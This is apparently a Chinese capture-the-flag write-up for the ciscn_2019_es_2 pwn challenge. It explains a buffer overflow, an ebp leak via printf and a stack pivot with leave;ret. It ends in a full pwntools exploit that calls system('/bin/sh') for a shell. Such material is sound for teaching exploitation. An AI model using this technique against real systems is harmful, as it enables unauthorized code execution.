https://files.buuoj.cn/files/3b1f1f64834cb78d6bafc0422ec4fbec/ciscn_2019_es_2
grxer@grxer ~/D/BUU> checksec ciscn_2019_es_2 [*] '/home/grxer/Desktop/BUU/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
漏洞函数
int vul() { char s[40];
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s); }
|
只有0x8字节可控,有system函数在
考虑栈迁移,常规我们会往bss段迁移,但是这次可以泄露处ebp
泄露ebp
利用printf就可以泄露出ebp
padding=b’a’*0x28
sa(b’name?\n’,padding)
泄露出ebp=0xff82fc88
栈迁移到栈上
可以从什么看到泄露出来的ebp和我们输入的地方差0xff82fc88−0xff82fc50=0x38
下次read也会往这个地方read,我们提前在上面布置好栈帧,将ebp覆盖为我们的输入点,也就是伪造的栈帧,再将返回地址覆盖为leave ret,这样mov esp,ebp,会到达输入点,
再pop ebp,输入点前四个字节输入junk即可,
再ret,这里我们就可以接管执行流,bin/sh也可以利用泄露的栈和偏移进行确定
payload2=b’junk’+p32(elf.symbols[‘system’])+p32(0x123)+p32(ebp+0x10)+b”/bin/sh”
payload2=payload2.ljust(0x28,b’\x00’)
payload2+=p32(ebp)+p32(leave_ret)
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='i386') pwnfile='./ciscn_2019_es_2' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote('node4.buuoj.cn','25443') else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) db('b* 0x80485CD')
leave_ret=0x08048562 padding=b'a'*0x28 sa(b'name?\n',padding) ru(padding) ebp=u32(io.recv(4))-0x38 p('ebp',ebp) sleep(1) payload2=b'junk'+p32(elf.symbols['system'])+p32(0x123)+p32(ebp+0x10)+b"/bin/sh" payload2=payload2.ljust(0x28,b'\x00') payload2+=p32(ebp)+p32(leave_ret) sl(payload2) io.interactive()
|